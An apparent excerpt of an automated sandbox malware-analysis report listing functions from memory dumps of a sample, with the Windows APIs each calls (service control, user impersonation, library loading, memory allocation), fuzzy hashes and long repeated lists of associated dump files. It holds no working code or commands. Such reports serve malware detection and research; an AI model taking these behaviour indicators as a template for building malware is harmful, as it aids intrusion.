ControlService.ADVAPI32(?,?,?), ref: 04C11580

Memory Dump Source

Source File: 00000006.00000002.1786465706.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: ead2498dcf1d0adad6e5c9fb8959973b29b1fe57a87ee8e051eb2db65f28115c
Instruction ID: b81c8df6bfc8281e2ac5f7b0606b823e20d491f4dfaa42de908b854b42984954
Opcode Fuzzy Hash: ead2498dcf1d0adad6e5c9fb8959973b29b1fe57a87ee8e051eb2db65f28115c
Instruction Fuzzy Hash: A62103B5D002498FDB20CF9AC584BDEBBF4AB48320F14802AE569A7250C778A645CFA5

Function 04C11510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04C11580

Memory Dump Source

Source File: 00000006.00000002.1786465706.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: d590d2cb79480a522e03f936f485883c4a1172ded6ee94efa22b680cb1e3f825
Instruction ID: ad79680c807f91932df7e553ec3f5b54842c7bbc31cf530a778174b38f430e7d
Opcode Fuzzy Hash: d590d2cb79480a522e03f936f485883c4a1172ded6ee94efa22b680cb1e3f825
Instruction Fuzzy Hash: 6911F6B5D003499FDB20CF9AC585BDEFBF4EB48320F148029E959A3250D778AA45CFA5

Function 04C11301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04C11367

Memory Dump Source

Source File: 00000006.00000002.1786465706.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 26e037b4169c60a424af14fe3a036e2e0a212b555bd204e88ec966a7d6e06f7f
Instruction ID: 64707acbbc40236a308809985f992b47e862b0330e770c61a487936d1f4e5b91
Opcode Fuzzy Hash: 26e037b4169c60a424af14fe3a036e2e0a212b555bd204e88ec966a7d6e06f7f
Instruction Fuzzy Hash: F91113B18002498FDB20DF9AC445BEEBBF4EB49320F24842AD568A3250D778A945CFA5

Function 04C11308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04C11367

Memory Dump Source

Source File: 00000006.00000002.1786465706.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 5c24f1d45a6199e22dab70da4ecb314153077fec9966f5593feebe467b77b573
Instruction ID: 8c5366d2c9a581b13db1029f6781fae3cd2367c419edd56d17ad6c13ccfdcf81
Opcode Fuzzy Hash: 5c24f1d45a6199e22dab70da4ecb314153077fec9966f5593feebe467b77b573
Instruction Fuzzy Hash: 3D1106B1800349CFDB20DF9AC545BDEFBF4EB49320F24842AD558A3650D778A945CFA5

Function 0059BD53 Relevance: 1.5, APIs: 1, Instructions: 17
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0059BD6C

Memory Dump Source

Source File: 00000006.00000002.1779960221.0000000000597000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00410000, based on PE: true

Associated: 00000006.00000002.1779610949.0000000000410000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779664446.0000000000412000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779693841.0000000000416000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779733217.000000000041A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779759345.0000000000426000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779895940.0000000000576000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779934119.0000000000578000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779960221.000000000058C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780043055.00000000005A2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780070527.00000000005A3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780104980.00000000005B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780144156.00000000005B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780178848.00000000005C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780205189.00000000005CA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780234971.00000000005D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780258950.00000000005DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780294474.00000000005E6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780337753.00000000005E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780415583.00000000005EA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780618221.00000000005EB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780652676.00000000005F9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780714891.00000000005FA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781452119.0000000000601000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781570644.0000000000602000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781597992.0000000000603000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781622097.0000000000608000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781674706.000000000060F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781698485.0000000000611000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781748026.0000000000612000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781776991.0000000000615000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781835127.0000000000616000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781868461.0000000000618000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781927887.0000000000620000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781961226.0000000000622000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782023554.0000000000623000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782050226.0000000000626000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782086399.000000000062F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782143423.0000000000630000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782167154.0000000000631000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782225963.0000000000639000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782265791.0000000000640000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782343899.0000000000644000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782510699.0000000000657000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782540951.0000000000659000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782594016.000000000069A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782674008.000000000069B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.000000000069C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.00000000006A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782853652.00000000006B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782878572.00000000006B4000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_410000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 79140e25b4b8d4cb1fb8d339efcd74edc8f80ed36818cfd838f796bc9c5465b5
Instruction ID: 83c64c0f7734917ed5045597787996592e4d9d1f83689da93e8ee772f0bbeb8b
Opcode Fuzzy Hash: 79140e25b4b8d4cb1fb8d339efcd74edc8f80ed36818cfd838f796bc9c5465b5
Instruction Fuzzy Hash: 48E0BD7900CA14EFCB022F5488848ADFFE0FF497A1F110E2CEAC282220D3320860EB43

Function 0041E4D3 Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0041EE99

Memory Dump Source

Source File: 00000006.00000002.1779733217.000000000041A000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00410000, based on PE: true

Associated: 00000006.00000002.1779610949.0000000000410000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779664446.0000000000412000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779693841.0000000000416000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779759345.0000000000426000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779895940.0000000000576000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779934119.0000000000578000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779960221.000000000058C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779960221.0000000000597000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780043055.00000000005A2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780070527.00000000005A3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780104980.00000000005B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780144156.00000000005B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780178848.00000000005C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780205189.00000000005CA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780234971.00000000005D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780258950.00000000005DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780294474.00000000005E6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780337753.00000000005E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780415583.00000000005EA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780618221.00000000005EB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780652676.00000000005F9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780714891.00000000005FA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781452119.0000000000601000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781570644.0000000000602000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781597992.0000000000603000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781622097.0000000000608000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781674706.000000000060F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781698485.0000000000611000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781748026.0000000000612000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781776991.0000000000615000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781835127.0000000000616000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781868461.0000000000618000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781927887.0000000000620000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781961226.0000000000622000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782023554.0000000000623000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782050226.0000000000626000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782086399.000000000062F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782143423.0000000000630000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782167154.0000000000631000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782225963.0000000000639000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782265791.0000000000640000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782343899.0000000000644000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782510699.0000000000657000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782540951.0000000000659000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782594016.000000000069A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782674008.000000000069B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.000000000069C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.00000000006A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782853652.00000000006B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782878572.00000000006B4000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_410000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: eb7f500fe4b64e5dcdaf46bc16a98ee3a70413888f9bbaa0d54bf269a6e69e46
Instruction ID: 6667edbf1de1e8a69f45bae501cc8ac65089a4478d17db8ac0c6d547090f089d
Opcode Fuzzy Hash: eb7f500fe4b64e5dcdaf46bc16a98ee3a70413888f9bbaa0d54bf269a6e69e46
Instruction Fuzzy Hash: 10114CB660C701DFD340AF55D5412BDFBE0EF84710F22882EDAC9C6604D6394886DB5B

Function 0041E779 Relevance: 1.3, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0041E794

Memory Dump Source

Source File: 00000006.00000002.1779733217.000000000041A000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00410000, based on PE: true

Associated: 00000006.00000002.1779610949.0000000000410000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779664446.0000000000412000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779693841.0000000000416000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779759345.0000000000426000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779895940.0000000000576000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779934119.0000000000578000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779960221.000000000058C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779960221.0000000000597000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780043055.00000000005A2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780070527.00000000005A3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780104980.00000000005B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780144156.00000000005B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780178848.00000000005C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780205189.00000000005CA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780234971.00000000005D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780258950.00000000005DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780294474.00000000005E6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780337753.00000000005E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780415583.00000000005EA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780618221.00000000005EB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780652676.00000000005F9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780714891.00000000005FA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781452119.0000000000601000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781570644.0000000000602000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781597992.0000000000603000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781622097.0000000000608000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781674706.000000000060F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781698485.0000000000611000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781748026.0000000000612000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781776991.0000000000615000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781835127.0000000000616000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781868461.0000000000618000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781927887.0000000000620000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781961226.0000000000622000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782023554.0000000000623000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782050226.0000000000626000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782086399.000000000062F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782143423.0000000000630000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782167154.0000000000631000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782225963.0000000000639000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782265791.0000000000640000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782343899.0000000000644000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782510699.0000000000657000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782540951.0000000000659000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782594016.000000000069A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782674008.000000000069B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.000000000069C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.00000000006A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782853652.00000000006B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782878572.00000000006B4000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_410000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c405c91887ddfea653773bcb3957bb880003e442e34e5fb611670df25a2646b2
Instruction ID: d2a19581dac2284dc335f56a8132f607bec760ad703f29a86142e827cd457ce1
Opcode Fuzzy Hash: c405c91887ddfea653773bcb3957bb880003e442e34e5fb611670df25a2646b2
Instruction Fuzzy Hash: 41F062F55085059BD7006F25E849A6EBBF0EF84311F114A2CEAD182780D7715CA5CF5B

Non-executed Functions

Function 00425823 Relevance: .3, Instructions: 291COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1779733217.000000000041A000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00410000, based on PE: true

Associated: 00000006.00000002.1779610949.0000000000410000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779664446.0000000000412000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779693841.0000000000416000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779759345.0000000000426000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779895940.0000000000576000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779934119.0000000000578000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779960221.000000000058C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779960221.0000000000597000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780043055.00000000005A2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780070527.00000000005A3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780104980.00000000005B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780144156.00000000005B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780178848.00000000005C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780205189.00000000005CA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780234971.00000000005D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780258950.00000000005DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780294474.00000000005E6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780337753.00000000005E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780415583.00000000005EA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780618221.00000000005EB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780652676.00000000005F9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780714891.00000000005FA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781452119.0000000000601000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781570644.0000000000602000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781597992.0000000000603000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781622097.0000000000608000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781674706.000000000060F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781698485.0000000000611000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781748026.0000000000612000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781776991.0000000000615000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781835127.0000000000616000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781868461.0000000000618000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781927887.0000000000620000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781961226.0000000000622000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782023554.0000000000623000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782050226.0000000000626000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782086399.000000000062F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782143423.0000000000630000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782167154.0000000000631000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782225963.0000000000639000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782265791.0000000000640000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782343899.0000000000644000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782510699.0000000000657000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782540951.0000000000659000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782594016.000000000069A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782674008.000000000069B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.000000000069C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.00000000006A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782853652.00000000006B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782878572.00000000006B4000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_410000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daae69be7060418f4bfb00f0051c4ac4dfbe1658d3d70183e9c57d7d22c66662
Instruction ID: 2ebdcc9f3e2cbba916d58aa0a412d219841c9ddcc8b6a0e4a21a96751b7435e7
Opcode Fuzzy Hash: daae69be7060418f4bfb00f0051c4ac4dfbe1658d3d70183e9c57d7d22c66662
Instruction Fuzzy Hash: 85A1AFB3F157A14BF3554A35CCA83617BA2DB96310F2F41B98A889B3D7D87E5C098384

Function 00425C4D Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1779733217.000000000041A000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00410000, based on PE: true

Associated: 00000006.00000002.1779610949.0000000000410000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779664446.0000000000412000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779693841.0000000000416000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779759345.0000000000426000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779895940.0000000000576000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779934119.0000000000578000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779960221.000000000058C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779960221.0000000000597000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780043055.00000000005A2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780070527.00000000005A3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780104980.00000000005B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780144156.00000000005B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780178848.00000000005C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780205189.00000000005CA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780234971.00000000005D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780258950.00000000005DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
